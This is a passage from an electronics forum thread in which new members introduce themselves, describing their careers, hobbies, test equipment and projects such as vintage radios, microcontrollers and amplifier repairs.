We're also doing smaller stuff, for example, involving Bluetooth LE. Plus other bits and pieces I have mentally put aside for the moment.

Strictly speaking I have a software background (I was employed writing 3D CAD and "VR" software in the 20th century) but I've always had at least some form of interest in electronics. My partner was in the electronics industry. This seems to be a useful combination.

I still find hobby level stuff interesting.
Title: Re: New Member, Please introduce yourself
Post by: Gp! on April 01, 2016, 03:27:19 pm
HI from Itay !
just an enthusiast, lost my my way in EE for a long time, and watching Dave's blog has brought me back to the true path!
Actually I discovered Dave while researching multi-meter reviews for a purchase (need one to trouble shoot a 2408wfp PS ) ended up buying his recommendation ! Thumbs up!
Good fun and instructive !
Title: Re: New Member, Please introduce yourself
Post by: ghulands on April 02, 2016, 12:44:41 am
Hi,
I'm an Australian living in the US. I'm a Software Engineer doing e-commerce software, but like to dabble with programming embedded systems. Not sure what my intentions will be getting into the hardware side of things. I've been watching lots of youtube videos, trying to build a base knowledge, but think it's now time i start to build some things. I've just bought the Bremen 869S from TME as I've only ever had the cheap $10 DMMs. Also ordered a JBC soldering station (I've had a few Zihua 852D+
s over the years with both of them going bad - still have the last one so i intend to repair it). I'm planning on buying a Rigol DP832 power supply, Rigol Oscope (not sure which one yet), Signal Generator and Electronic load.

Looking forward to the journey ahead.

Greg
Title: Re: New Member, Please introduce yourself
Post by: Benja on April 02, 2016, 10:38:59 am
Hi,

I‘m from Cape Town in South Africa. I am an electronic engineer currently employed as a systems engineer.
I recently started watching the EEVBLOG on youtube and found it very entertaining as well as informative. Also started listening to the AmpHour.

I enjoy tinkering with electronics in my spare time, but of course not as much as I would like to.

Benja


Sent from my ALE-L02 using Tapatalk

Title: Re: New Member, Please introduce yourself
Post by: lean04 on April 06, 2016, 02:31:17 am
Hi, i am Leandro from argentina. I am a surgeon and an electronics enthusiast (really enthusiastic!!).
Title: Re: New Member, Please introduce yourself
Post by: charlieb83 on April 06, 2016, 04:12:27 am
Hi all, I'm Charlie.  I'm a software programmer that loves to build and design microcontroller based devices.
Love the EEVblog site...I've learned a lot here!
Title: Re: New Member, Please introduce yourself
Post by: Marzogh on April 09, 2016, 02:55:25 pm
Hiya all,

I've been a long time lurker on the EEVBlog forums and have learnt a fair bit from all you guys out there in that time. (It was from a suggestion  I got here that I managed to get my first proper library for the Arduino up and runnings :) )

I'm from Brisbane, Australia and I'm a geneticist who likes to tinker with electronics on the side and build environmental monitoring tools for work. I also like to take on far too many projects for my own good and so (insert shameless plug here :P ), if you guys are interested in anything I'm interested in and would like to join in the fun, you can find all the stuff I work on at www.github.com/Marzogh (http://www.github.com/Marzogh) :).

Cheers!

Praj
Title: Re: New Member, Please introduce yourself
Post by: razberik on April 09, 2016, 11:56:12 pm
Greetings !

My name is Ondrej, I live in Czech Rep. I have been watching EEVblog couple of years, however, hunger for knowledge and willing for discussion conceived me to register now.
I live in Brno and after my graduation on FEEC BUT I started to work for local company involved in electron microscopy. It is not difficult to guess which one, because Brno is the city on Earth with the highest number of electron microscopy manufacturers. There are two ! And I don't work for the american company.

I am interested in general electronics design in some signal maneur, however, I am involved in some DC DC converters design in work now. Just as a newbie for the company.

Regards, Ondrej
Title: Re: New Member, Please introduce yourself
Post by: sosuke on April 10, 2016, 05:03:33 pm
Hi everyone. Long time lurker here. Been programming since I was a kid. Always had a certain fascination with electronics but never really got into it. Hoping to correct that by working through AoE.
Title: Re: New Member, Please introduce yourself
Post by: ianxtreem on April 10, 2016, 05:23:43 pm
Hello everyone.   I am a almost retired EE, who hasn't done much EE in a very long time.  Going to fix that.  :)

Ian
Title: Re: New Member, Please introduce yourself
Post by: rado on April 11, 2016, 09:23:56 pm
Hey everyone! I just ran into Dave's videos recently while searching for DMM reviews online - searching around to replace my old "el cheapo" bought years ago as a student. That pointed me to the forums. While I studied electrical engineering, I've been into software development for many years now, but I still like to play with microcontrollers and stuff from time to time. I guess that's about it. :-DMM
Title: Re: New Member, Please introduce yourself
Post by: ArdRhi on April 12, 2016, 02:53:18 am
Hi everyone!

I did a delurk a couple of days ago on a different thread, but I'll pop one in here as well.

I'm Gwen, my amateur call sign is NG3P (yes, it's a vanity call  ;D ), and I've been fiddling with electronics since I was a wee sprout. I'm several kinds of geek. I have a webcomic online, I collect vintage slide rules, have been in Second Life for around 8 years, and broke my neck in 2006, which effectively benched me. I do my best to keep busy with constant chronic pain and limited mobility, and can still hold a soldering iron steady enough for fine work...though I do have to take more frequent rest breaks these days.

I learned about EEVBLOG from a mention on Mr. Carlson's Lab on Youtube. I checked it out, and the rest, as they say, is history.  At least, that's my story and I'm sticking to it.
Title: Re: New Member, Please introduce yourself
Post by: tek465 on April 12, 2016, 10:46:43 pm
HI all, new member here as well..   I'm a seasoned systems engineer working for a large storage company with experience with Linux, Unix, Solaris AIX and Oracle DB and of course windows.  Besides the OS's i work with a various storage systems and system platforms handling connectivity via FC switches as we develop products and product software.  But now I have this desire to learn electronics and analog circuit design as a hobby and so i have been spending my non working time learning as well as getting my hands on some actual projects...  As for projects?

I just acquired my first scope a couple months ago, a tek465 (which is why i chose it as my username).  Cleaned it, took it apart and got it in decent running order.  Soon after i got the 465 I had to get another so now i own a tek 2246 and find myself just hooked on oscilloscopes, I'm sure many of you know what i mean.  When instance, when I heard there was a tek type 502 in the movie terminator salvation i just HAD to flip on the bluray and see it for myself.. 

My second project is a 1988 fender twin reverb (red knob evil twin) that is not working 100% which I am currently troubleshooting.  It's actually one i bought in 1988 as a teen but over the years its fallen by the wayside.  Along with that I am considering modding my current amp and feel the knowledge learned here will greatly help in that endeavor. Funny how once you start getting into this hobby you start seeing everything as a potential project.  Just today a co-worker of mine mentioned he has a receiver that is having problems and so we found the service manual and I started going over it.   :-DD 

Anyway, I hope to see you all on the forums and although i will be absorbing more in the beginning, I hope that will start to change as I study and perform more hands on work.
thanks for the great forum and people here!

-t4
Title: Re: New Member, Please introduce yourself
Post by: SimonR on April 13, 2016, 09:14:18 pm
Hi

My names Simon, I'm an electronic/software enginner in Hertfordshire in the UK. I first encounered Dave tearing down the worlds most expensive hard disk. I looked in occasionally after that and then gradually got sucked in so I thought it was about time I joined the forum.

I graduated in Electronic Engineering in 1987 and amongst others I have worked for Stag Programmers, Artimi on Wireless USB, and an electronics consulatncy. I am now self employed the same kind of things.

Sadly I also do this as a hobby, although I do actually do other things but this seems to be mostly dog training at the moment.

I now mostly do embedded software having leared from the very best while at Artimi, but I still dabble in electronics from time to time.

Simon
Title: Re: New Member, Please introduce yourself
Post by: rx8pilot on April 14, 2016, 02:44:05 am
Hi

My names Simon, I'm an electronic/software enginner in Hertfordshire in the UK. I first encounered Dave tearing down the worlds most expensive hard disk. I looked in occasionally after that and then gradually got sucked in so I thought it was about time I joined the forum.

I graduated in Electronic Engineering in 1987 and amongst others I have worked for Stag Programmers, Artimi on Wireless USB, and an electronics consulatncy. I am now self employed the same kind of things.

Sadly I also do this as a hobby, although I do actually do other things but this seems to be mostly dog training at the moment.

I now mostly do embedded software having leared from the very best while at Artimi, but I still dabble in electronics from time to time.

Simon

Hi Simon - welcome to the most fun you can have in an electronics forum. Are you available as a freelancer? I have a project trying to start mid-late summer.......
Title: Re: New Member, Please introduce yourself
Post by: r4ptor on April 14, 2016, 10:13:08 am
Hi guys,

I am watching Daves videos a long time now, and finally decided to register in the forum.

My name is Peter, I'm studying Information and Computer Engineering Austria(basically Informatics and electrical engineering) and am building a small lab for my own in my apartment at the moment.

Looking forward gathering and sharing useful information in this forum.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: SimonR on April 15, 2016, 03:21:31 pm
Hi Rx8Pilot

Thanks for the welcome.

Yes I am available, I'm currently extremely busy at the moment but things should have calmed down by mid to late summer.

PM me to let me know what you have in mind, so I can decide if I can help or not. Although I'm actually only here from a hobby point of view
Simon
Title: Re: New Member, Please introduce yourself
Post by: nad007007 on April 16, 2016, 05:10:50 am
Hi guys

Conrad here from New Zealand. I am into eighties computers and old nixie tube stuff.
A list of my first computers.

Casio pb100
Sinclair zx81
Sinclair spectrum 48k with micro drive
BBC Master
Amiga 600 hd


Thanks

Conrad

Title: Re: New Member, Please introduce yourself
Post by: peteb2 on April 16, 2016, 09:07:54 am
Another Kiwi here.... I've made electronics my everything in life really.... I can think back to being a really young kid in the 1960s and I'd lie under the old radiogram my parents played their 33&1/3 vinyl records on. The main chassis was hanging there and i was mesmerized by how on earth those glass bottle things that glowed and burnt my fingers if i touched them worked. I wanted to know why and how anything electrical worked and became really frustrated when not a single adult was ever helpful or explained anything to me. Eventually my mother gave me a small book on building Radio receivers as a birthday present and it all started from there...

In short i've worked the world over mostly to do with broadcast studio equipment, systems and a lot of bench repair. My main obsession today would have to be cameras... professional studio and ENG TV cameras.... their maintenance (but most are so reliable i don't see them that often compared to a few years ago).

Hobby time its repair stuff for mates. Usually highly expensive to buy stuff like motorcycle electronics instrument cluster that water has finally killed.  This year i must revisit vacuum tubes (valves) in audio amplifiers for guitar but this winter there's a finish-off of a high power pair of monoblock quad KT88 hifi things for the hell of it just to see if they are anywhere as nice a sound as any of the modern stuff like Class D... I probably will be wasting my time but they should look great.

Somewhere along the line i noticed that younger people no long bother with electronics as a hobby where they actually build anything using tools, especially a soldering iron. Those skills could well be dying out. It seems it's all about writing code for an embedded prebuilt ucontroller of some sort...

The rest of my time i take perfectly good pieces of metal etc and machine them into things for use with TV cameras or custom housings for projects in my reasonably well setup workshop where i also work on my petrol gulping V8 off-roader.



 
Title: Re: New Member, Please introduce yourself
Post by: korbasiewicz on April 16, 2016, 03:14:35 pm
Hello!

When I've first heard Dave saying "Don't turn it on. Tear it apart!" long time ago I couldn't stop watching his YT channel. Finally decided to come here. I'm an IT guy interested in electronics. Kind of noob in many areas, so you may expect some dumb questions from time to time (I promise to use search before asking).

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: MetallChips85 on April 16, 2016, 11:18:01 pm
Greetings fellow Nerds,  :-DMM

  I registered to the EEVBlog a few weeks.. or months ago, this is my first post, and I am definitely a noob to the forum. My YouTube url is Metallchips85 and you could prolly find me other places under that name as well. =)
I am 30 years old and am a Lake Tahoe/Carson Valley Nevadan.

  Dave's YouTube channel is epic and I would like to hail the creator, his enthusiastic passion for Electronic Engineering and good Knobs is next to none! Fires me up every time.
 
  I have always liked taking stuff apart myself, and have 25,000 hours of on job time machining. I do volunteer work at the local electronics recycling and donation center in my city and can say am stoked! All  the electronics I can tear down and a wonderful resource of components I could only dream of.  I look forward to sharing and learning from the forum.

  Thanks for having me  :-+
Title: Re: New Member, Please introduce yourself
Post by: peteb2 on April 18, 2016, 12:46:14 am
Justa wee query i notice that appears to be messing up just how everyone's Posts to this Forum are appearing to me. (i hope this is the proper place to put this post... sorry if it isn't.... :(

It's the issue of Time (and Date).... As example my Logon Hello shows a 2 hour error passed. What have i screwed up in my profile settings (i assume that's where i'd normally be setting my local time... i've gone round and round trying to find such a thing as other Forums use to see if there's a specific place to put but i can's seem to find it).... Anywho, any help would be great.... joys of being a noob  ;)
Title: Re: New Member, Please introduce yourself
Post by: Fulcrum on April 18, 2016, 04:47:35 pm
Hey everyone!
I'm Fulcrum, and I'm currently in the middle of my studies for a master degree in particle physics, focusing on the practical side of the field. Unfortunately that means I will have to do quite a bit of electrical engineering! This last year has been hectic, as I've been designing high speed mixed-signal electronics for particle detectors as fast as I could learn it. Luckily I learn quickly, and Daves youtube videos have been a huge help here, keeping me interested and teaching me interesting tidbits I had never thought of.

Thought it was about time to sign up here, and have your collective knowledge quick at hand!
Title: Re: New Member, Please introduce yourself
Post by: pixel63 on April 18, 2016, 05:40:54 pm
Hi everyone!
I'm a 52 years old electronic engineer that spent a life on informatics and internet services for a primary telecom company in Italy, Rome.
With EEVblog I had a flashback and revamped my original passion for applied electronics.

I rebuilt my lab from scratch (after a wife and three children) and I'm back to repairing tons of devices, from washing machine electronic board to TV PSU and so on ...

Write you soon....
Pixel63
Title: Re: New Member, Please introduce yourself
Post by: rob-from-perth on April 19, 2016, 03:50:48 pm
Hi All,
I am Rob from Perth.

I have been working with electronics since I was very young. The first major project I built was a Dream 6800 that Electronics Australia (http://www.mjbauer.biz/DREAM6800.htm) published back in the late 70's.
I was 13 years old at the time.  I've pursued various careers but electronics has always looked after me. It gave me a firm grounding (haha) for all the technological jobs I'd undertake through out my life.

These days I run my own online business selling electronics to hobbyists and providing some technical advice to get people started with their projects.
You are welcome to browse my store (link is in my signature) and ask any questions about anything I sell.

lately I've been tinkering around with the Cypress PSOC 5LP and really enjoying it.

I think I just like learning new stuff all the time.

That's pretty much a disjointed summary of where I am currently at..  :-DD
Title: Re: New Member, Please introduce yourself
Post by: Blastcap on April 19, 2016, 04:17:47 pm
Hi I'm Adam, a 20-something guy from Germany.
Normally employed as a mechanical engineer but I'm expanding my knowledge into EE as a hobbist.

My new years resolution was to repair instad of replacing  :-/O, and i've done it pretty sucessfully until now (havent saved a cent thou, because i used it as an excuse to buy more and better tools and other equipment).  ::) I'm here to get advice, learn, lurk and some day maybe even say somting clever myself.

Currently im setting up a workshop at home and reading as much as possible.
As my other big hobby is Photography, so I promise to deliver quality pictures of mediocre or less builds.

Title: Re: New Member, Please introduce yourself
Post by: starphot on April 19, 2016, 08:39:30 pm
Hi all,

  I am from Denver, CO. I've been in electronics since the 1960's when my uncle gave me a crystal set. I dabbled in electronics as a child and was Shanghaied into the field of electronics when I joined the US Navy. I wanted Photographic Intelligence, but was suckered into electronics because I knew some of the basics. I went through basic EE and Avionics and was assigned to an attack squadron on board the USS John F Kennedy (CV-67) between 1972-1975 working on aircraft fire control radar, component level. I worked on circuits that had peanut vacuum tubes to the early silicon and germanium semiconductors, analog computers with the early digital computer with a drum memory plus an early core memory for the fire control solutions. My squadron then upgraded their planes with the avionics that had the military 74xxx type of logic, linear, some CMOS with the early microprocessors in the radar system. That Uncle? He served on two carriers, did shipboard radar and then had a career in electronic servicing for Kodak. Between us: 3 carriers, 7 1/2 years serving in the US Navy, 94 years total active professional electronics experience.
  I got out of the Navy in 1975, replaced the military BS :bullshit: for a cleaner and more accurate bogosity meter, got my FCC General Class Radiotelephone license and worked for a few mom and pop repair shops then worked for a consumer electronics retailer in one of their two dozen regional repair centers for nearly 20 years before being laid off. I repaired the RF items including cellphones, plus the CD players, large stereo receivers and other items. I then worked for a telescope manufacturer that has his own line of telescopes plus he manufactures after market items such as better motorized focusers, digital setting circles and carrying cases for the other major brands of telescope manufacturers. 2 months there. I was the last person he hired as full-time as he is struggling to stay in business to this day. That was just before 9-11. No jobs since. I am coming off of an autoimmune disorder that is eating away at my peripheral nervous system and trying to lead a more active life.
  My interests are astronomy, electronics tinkering, gardening and photography. I am a board member of my astronomy club and do some public outreach plus doing maintenance at the dark sky site. I am an astrophotographer and modified both of my Newtonian telescopes using the electro-mechanical knowledge I have to do that. All four of these main interests started in the 1960's. Gardening by grandma; Photography and electronics, uncle; astronomy, John Glenn.

Joe
Title: Re: New Member, Please introduce yourself
Post by: thisguy on April 19, 2016, 08:54:26 pm
Hi from WA state, USA.

I'm here to learn. I was interested in electronics as a child and teen, but put that aside for a career in SW, music, family life, and other endeavors. For a variety of reasons I've decided that now is a good time time to get back to something that I enjoyed in the past and always wanted to pursue.

My first interest is getting a decent foundation, then learning enough about micro-controllers to experiment with motor control. Some other electronics interests are live audio and those fun flying toys. I'm building a lab on a budget.

I'm enjoying Dave's videos and the generally civil exchange of information on the forums.

- thisguy
Title: Re: New Member, Please introduce yourself
Post by: R005T3r on April 22, 2016, 08:35:25 am
Hi Everyone!

I'm an EE student in Italy. I'm currently studying Electronics at the university (1st year). I'm also an electrical expert, and I love making electrical plants.

I also like flutes and music.
Title: Re: New Member, Please introduce yourself
Post by: nchan on April 23, 2016, 11:33:07 am
G'day all,

I've been lurking around just learning the basics again. Completed my EE degree back in 1993, but never got to do electronics as a career. So getting back into it as a hobby.

Cheers,
Nige
Title: Re: New Member, Please introduce yourself
Post by: Borgonomics on April 23, 2016, 01:51:50 pm
Hi everybody ....

new here .. have been a big fan of the EEVBLOG since more or less the start (started @ #10). Looking forward to hanging around with you guys when it comes EE and maybe more ... :-)

I am flabbergasted at the development of the blog.

Respekt to you Dave.

I want to change the world to a better place.

JC

P.S.: Unfortunately started a new thread to introduce myself. Missed this thread.
Title: Re: New Member, Please introduce yourself
Post by: lwuvkp on April 27, 2016, 12:14:48 am
Hello, I am student from high school who needs help from electronic engineer for a project. I have been assigned to chat with a electronic engineer online and ask him or her questions about what it is like to be an electronic engineer. It would be greatly appreciated if anybody would be able to help me with this, I only need to ask a few questions. If you are interested pls send a private message to me on this forum, and I will check it daily.

Thank you.
Title: Re: New Member, Please introduce yourself
Post by: joseph nicholas on April 29, 2016, 12:54:10 pm
Hi, I´m an electronics hobbyist and retired from medicine.  I currently live in Mexico and would like to do some part-time work here to help support my hobby.  I would also like to meet other hobbyists locally to swap hardware.   8)
Title: Re: New Member, Please introduce yourself
Post by: monkeytennis on May 03, 2016, 12:11:10 am
Hi all,

I was an electronics technician and engineer over the course of about 12 years.  I'm now a software engineer working with aviation automated test equipment.  I've had a few projects in mind for a few years now so it's about time I got my behind in gear, racked up some more bits of equipment and got cracking.

Been a fan of Dave's for a couple of years.  It seemed I registered on the site a year ago but forgot all about it.  Hopefully I can contribute a bit.

All the best,
Simon
Title: Re: New Member, Please introduce yourself
Post by: Esotech on May 04, 2016, 03:33:06 pm
Greetings,

I am self employed with 30+ years experience in electronics, both design/construction and repair. I currently operate in the DJ/Pro Audio repair area with some OEM and contract project work periodically. I have many years of practical experience in the FM radio field and have designed,  manufactured and repaired a number of devices in various sub areas of electronics. I have visited this forum quite a few times, most recently researching crowd funded projects, alternative energy & today - https://www.eevblog.com/forum/chat/air-asia-crash-report-cracked-solder-joint-on-rudder-limit-circuit-board/ (https://www.eevblog.com/forum/chat/air-asia-crash-report-cracked-solder-joint-on-rudder-limit-circuit-board/)

Esotech  ;)
Title: Re: New Member, Please introduce yourself
Post by: Gary350z on May 05, 2016, 07:40:56 pm
Hello from California.
My name is Gary. I'm a retired electronics engineer and doing electronics at home.
I've been doing electronics since I was about 10. Electronics is the best, most fulfilling, and fun thing I've ever done. :-+
I'm also an avid Formula 1 fan. Are there any Formula 1 fans out there?
Title: Re: New Member, Please introduce yourself
Post by: BigfootJim on May 05, 2016, 09:45:12 pm
Hello everybody, my name is Jim and I'm a student/hobbyist from California.  I played around with electronics when I was younger, but got out of it after discovering girls  :-// .  I recently got back into it after working on developing a telemetry system for our race team.  I've been lurking the forum here since finding Dave's videos while looking for answers on that project.

thx,
-BFJ
Title: Re: New Member, Please introduce yourself
Post by: Gordon on May 07, 2016, 10:53:17 pm
Hi Guys. I'm 59, an IT professional heading for retirement in the not too distant future. I've always been interested in electronics, I started as a TV/Video engineer back in the 70's before moving into computer hardware and then software. I'm just resetting up my amateur radio station [GI6FZI] after a long break, when family and work took precedence. I've been having fun building magnetic loop antennas for 80-40m and I'm about to start investigating how to repurpose a HP or Sun server psu, to a high current bench/transceiver psu, which is where I came across this site.

I've always enjoying learning and keeping up-to-date with current and emerging technologies, I'm looking forward to seeing all the great stuff posted here and watching all the mailbags and reviews from Dave and everyone else on the forums.

Cheers - Gordon  :-DMM
Title: Re: New Member, Please introduce yourself
Post by: PDM on May 10, 2016, 08:54:57 pm
Hello. Structural engineer here. No, I'm not lost. Just landed a new job in the defense industry which is putting me in contact with some electrical engineers of the very high functioning persona. We are working primarily on EMI shielding and EMP defense. I'm currently shopping for tx/rx test equipment ranging from 500kHz to 10GHz. I am also working on portable, shielded generators that needs to output 40 and 50hz power at 208-460v with the push of a button.

Most of my electrical experience is in automotive applications. I've expanded my capability as far as I can and am currently shopping for a scope. I've followed EEVblog youtube and lurked this forum for a long time, so I figured its time I join. Not sure I have anything to add, but thanks for having me.

Title: Re: New Member, Please introduce yourself
Post by: Electric flower on May 13, 2016, 08:59:07 pm
I'm also an avid Formula 1 fan. Are there any Formula 1 fans out there?

Huge fan of Formula 1, also keen on WRC and WTCC. Love F1, human ingenuity in competition to chase perfection. Also in general lover of motorsports and dangerous things that have wheels.
Title: Re: New Member, Please introduce yourself
Post by: andy371 on May 15, 2016, 06:45:20 am
Hi everyone, my name is Andy from Victoria Aus. I have been lurking around the eevblog and forums for a few years now, had an older acc (with no posts) but I lost access to that.
I love electronics, I find myself to be the type of person who jumps from one thing to another all the time and never really sticks to things very well, I consider myself to be alright at anything but great at nothing. I always find myself coming back to electronics though and am constantly fascinated by the theory. Hopefully one day I can be working with electronics for a living.
I currently automate doors for disability access, so I get a small exposure to electronics (mostly just wiring terminals of different modules and relays though, so rather mundane), we hope to soon manufacture our own operator so I plan to learn a lot about DC motors and control circuits and programming of such equipment. This has never been an area of particular interest to me so i'm very vague but I will get there.

I'm not a very sociable person and have little confidence in myself  |O, so I still wont be posting much, but I hope to get there eventually, I love what I see from this community, so much more maturity and respect than almost all forums.

Cheers for reading my intro :-+
Title: Re: New Member, Please introduce yourself
Post by: TheAdmiralty on May 16, 2016, 03:03:59 am
Evening, everyone!  Just a senior computer engineering student from Erie, PA here - gotta admit that about 80% of all my functional, practical knowledge has come from either here at the EEVBlog or over at ThePostApocalypticInventor... I definitely owe you guys and will be giving back the support (hopefully) come a paycheck this fall.   :-DMM

Been lurking for a couple years and figured it was time to join the fun.  Looking forward to it!
Title: Re: New Member, Please introduce yourself
Post by: VulcanBB18 on May 16, 2016, 05:46:51 am
Hi All,

A 20+ year IT industry veteran here. (yes, one of those....gasp!!)  Started out doing Microelectronic engineering at Uni, and ended up working in IT infrastructure - go figure!  (Part of the team looking after a very large email install, SQL install, etc etc)

Anyway, I still have a strong interest in electronics and dabble in it as a hobby.  A strong knowledge of electronic fundamentals gives you an edge a lot of others don't have in IT (even to this day)  :-+

Aside from that, I spend a lot of time listening to music, working on and driving steam trains, and playing with old British cars...no wonder people think I'm mad...  :-DD

cheers,

Jacob
Title: Re: New Member, Please introduce yourself
Post by: mattxcoon on May 16, 2016, 10:00:24 am
Hello, I used to be an electrical engineer. I also used to play the clarinet and speak Russian (not at the same time), but with all of those things one forgets a lot after years of disuse. Now I am a professional archaeologist, and am interested in making some geophysical equipment (I'm betting that I can make a few things that work well enough for limited use for less than the $20k-$30k apiece those things normally cost). Right now I am gathering supplies and starting to build up a modest lab bench, but once I get into design and testing I will have LOTS of questions!
Title: Re: New Member, Please introduce yourself
Post by: jose347 on May 19, 2016, 04:35:28 pm
Hi My name is Jose Rivera I am an electrical engineer from puerto rico, I been following Dave's blog and forum from time to time since the greek guy was around. I guess I got tired of dividing 84 by 2 for by searches so i decided to register. anyway thats about it
Title: Re: New Member, Please introduce yourself
Post by: david-electrical on May 23, 2016, 08:56:41 am
This is David from HongKong,i am learning front-end language in universaty,good at html,css and jq.After i see Dave video,i never thought hardware is so interesting.Hope can learn more from here
Title: Re: New Member, Please introduce yourself
Post by: csmithdoteu on May 23, 2016, 09:48:56 am
I'm from the UK. Electronics is a hobby for me, particular RF/radio etc. I like building things as minimal as possible.

"Perfection is Achieved Not When There Is Nothing More to Add, But When There Is Nothing Left to Take Away"
Title: Re: New Member, Please introduce yourself
Post by: Ali_TR on May 23, 2016, 11:59:25 am
Hi I am from Turkey.
I am working on cyber security and honeypots and have rediscovered my love for electronics. I am interested in FPGA's Mikrocontrollers and how I can combine my professional experience with electronics. Maybe creating honeypots for real devices with real extracted firmware from network enabled devices like printers etc.
Title: Re: New Member, Please introduce yourself
Post by: arobincaron on May 24, 2016, 03:24:03 am
Hello -- Robin here!

I am a computer engineer by education but a professional software developer as my career.  I like to connect with my education background by playing around with micro controllers based projects.
Title: Re: New Member, Please introduce yourself
Post by: shplatt on May 26, 2016, 03:36:57 am
Whelp... I'm finally getting around to posting on this intro thread.  Not sure if anyone reads it, but here goes....  My name is Jared (no, not THAT Jared).  I've been an ASIC design engineer for about 19 years.  I first saw the Whining Aussie (as I and some coworkers affectionately call him) back around video 60 or 70 or so.  Only now getting around to the forum (fewer 70-80 hour weeks these days).  My specialties are logic design (SystemVerilog), verification, and everything from architecture through synthesis/STA.  I've been trying to scratch an analog itch in my spare time (such that it is), but that itch has largely been in that one location... you know the place... between the shoulders, just out of reach of the hands.  Yeah, that place.  But, I feel I'm getting closer.  In the mean time, I'd like to make myself available to fledgling digital artists aspiring to paint with 1s and 0s.  Can't be that hard, right?  We're just a bunch of mouth-breathing knuckle-draggers only capable of counting to one, right?  So hit me up.  Just be patient cuz I still have a day job.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Firemantronics on May 27, 2016, 08:40:53 am
Hi, this is Manuel from Valencia. I used to be electronic engineer but after 15 years working in the fire prevention area i almost forgot everithing. Now i try to rescue my passion with this forum and Dave videos.

Greetings!
Title: Re: New Member, Please introduce yourself
Post by: rxl on May 28, 2016, 05:29:34 am
Hi all, my name is Ruben.  I'm a software engineer who likes to dabble with electronics at night.  I recently decided to get more serious about this hobby and have set up a permanent work space for my projects.  Now its time for me to learn as much as possible without burning too many things!
Title: Re: Hi all!
Post by: NJO on May 28, 2016, 06:03:04 am
I am Norbert, a system engineer and administrator in a german telecommunication company. My interests are FPGA (Spartan), microcontrollers (Propeller), vintage computers and building guitar effects like the 'Schulte compact clone' for my own use as I am playing the guitar, too. I found my way here having bought a MHS-5200 function generator and I hope to find some answers to the questions I already have posted before I found this newbee thread.

Have a nice day,
Norbert
Title: Re: New Member, Please introduce yourself
Post by: villas on May 28, 2016, 02:46:15 pm
Hi, my name is Bruno and I live in Brazil. I've been reading the forum and watching Dave's videos for some time now and today I decided to register to the forum.
I work with industrial automation (mainly developing applications for PLCs, HMI/SCADA and configuring and debugging all sorts of industrial networks) for 10 years. I have graduated in Computer Science, so I can say I'm kind of a software guy.
I play with micro controllers since before the college but started to study electronics properly when I needed to use some analog stuff some years ago, now electronics is my hobby.
Title: Re: New Member, Please introduce yourself
Post by: Priestblood on May 29, 2016, 06:15:00 am
Hello Everyone and Mr Dave

My name is Wayne and i am a alcoholic, "damm wrong blog lol"

My name is Wayne am 43 and a disabled hobbyist now,I worked in the sheet metal manufacturing before my in-work accident which left me with lots of free time.I live in WestKirby,Wirral, by the glorious River-Mersey.I have always found electronics fascinating since i was about 7yrs old .
i have a few scopes and meters and a draw full of eBay cheap test meters,I like designing and making my own gadgets as we all do.
i am a collector or multi-meters old and new,My weak spot is vintage test gear and bringing them back to life,i have followed eevblog for many years and not sure how long i have been a member on website,but i don't think i have introduce myself so there you go thats me,
My gaming name is priestblood and have used it for ever and if you ever need help then shine a big bat light into the sky and i'll come waddling

best wish to everyone
Wayne
Title: Re: New Member, Please introduce yourself
Post by: hukuzatuna on May 30, 2016, 11:00:00 am
Greetings. I'm Phil Moyer, from Glen Mills, Pennsylvania in the US. I'm professionally the Global Security Architect at the largest accounting/professional services firm in the world. I got started tinkering in electronics about two years ago when I decided to build my own weather station. It grew from a few sensors into three Raspberry Pis, an XBee mesh network, indoor and outdoor sensors, and a MySQL database. My three current "projects" are, first, an autonomous rover with two Raspberry Pis - one for navigation and one for science data collection and control routines - a science platform with nine MQ-series sensors connected to 16-bit ADCs, three cameras, ten ultrasonic hazard avoidance sensors, and a LIDAR system on a pan/tilt mast. Second, a home security system built around ESP8266 modules running NodeMCU Lua and managing events with MQTT. Third, a 128-core parallel processing cluster made out of Adapteva Parallella boards and Raspberry Pi 2s and 3s, which I'm using for development of prototype distributed artificial intelligence algorithms. I tinker a lot with various Raspberry Pis, Arduinos, Pine64, and Adapteva boards, and I'm trying to learn electronics from the ground up.
Title: Re: New Member, Please introduce yourself
Post by: RatshackGuy95 on May 31, 2016, 04:27:47 am
Hello.
I'm Josh, I am 20 years old. I am currently going to school to be a hardware/support technician. As of currently I am working for Radioshack (hence the name)which is alright, honestly I miss the way it used to be when I was growing up. I have always loved to tinker and build with my hands, even had a couple of people pay me to build them computers. Couple of years ago I found Dave's Youtube Channel and thought. Holy crap, this guy is goofier than me, but he had some really good information. So I binged watched a few videos and I am really glad I did. Since then I have been a big fan, the blog has definitely helped me improve a few of my techniques (soldering more specifically). Just want to wrap this up by saying thanks to dave and its great being part of a really awesome community.   
Title: Re: New Member, Please introduce yourself
Post by: Marcus_S on June 04, 2016, 12:16:54 pm
Hello,

I am a hobbyist living in Franconia in Germany. I learned a little about natural sciences more than 20 years ago, but I don't have any professional background in electronics.

Presumably my major hobby interest is metalworking. But one day last year I bought a second multimeter and both instruments differed in reading. So I found a third multimeter. Now all three instruments differ in reading... And since I like playing around with nice instruments and machines I started to to collect some equipment to learn to measure... And then I found an additional multimeter...

Perhaps I will be able to adjust at least one of them some day. Or will be able to show some of my experiments here.


Marcus


Title: Re: New Member, Please introduce yourself
Post by: Wobbs on June 05, 2016, 10:02:11 pm
Well I'm sort of ancient. I've been designing electronics professionally for 40 years.
Mostly industrial control systems, but occasionally fun stuff (F1 car processor interface)

What got me to log on was that I'd argue that you don't need anything in a lab these days apart from a really good CAD system. The test equipment and soldering iron won't get turned on for weeks.
I design stuff and often never see the hardware. Just send off files and somebody in another country makes it.

eg. A design I've just done has just been installed in 900 locations in Australian shopping malls. I have never seen the hardware.
Title: Re: New Member, Please introduce yourself
Post by: gofaster on June 08, 2016, 08:31:31 pm
Hello all -

I'm a hobbyist, interested in making and repairing gadgets.  Always trying not to let the magic smoke escape.  :)
Looking forward to learning.

Kind regards. 
Title: Re: New Member, Please introduce yourself
Post by: rx8pilot on June 09, 2016, 05:47:08 pm
Hello all -

I'm a hobbyist, interested in making and repairing gadgets.  Always trying not to let the magic smoke escape.  :)
Looking forward to learning.

Kind regards.

Learning and magic smoke are best friends. If you never let the smoke out, you have not learned much.  :-DD
Title: Re: New Member, Please introduce yourself
Post by: Duncan on June 12, 2016, 07:34:33 am
Hello everybody!
After binging on the YouTube channel for a couple of weeks, thought it best I come over here!
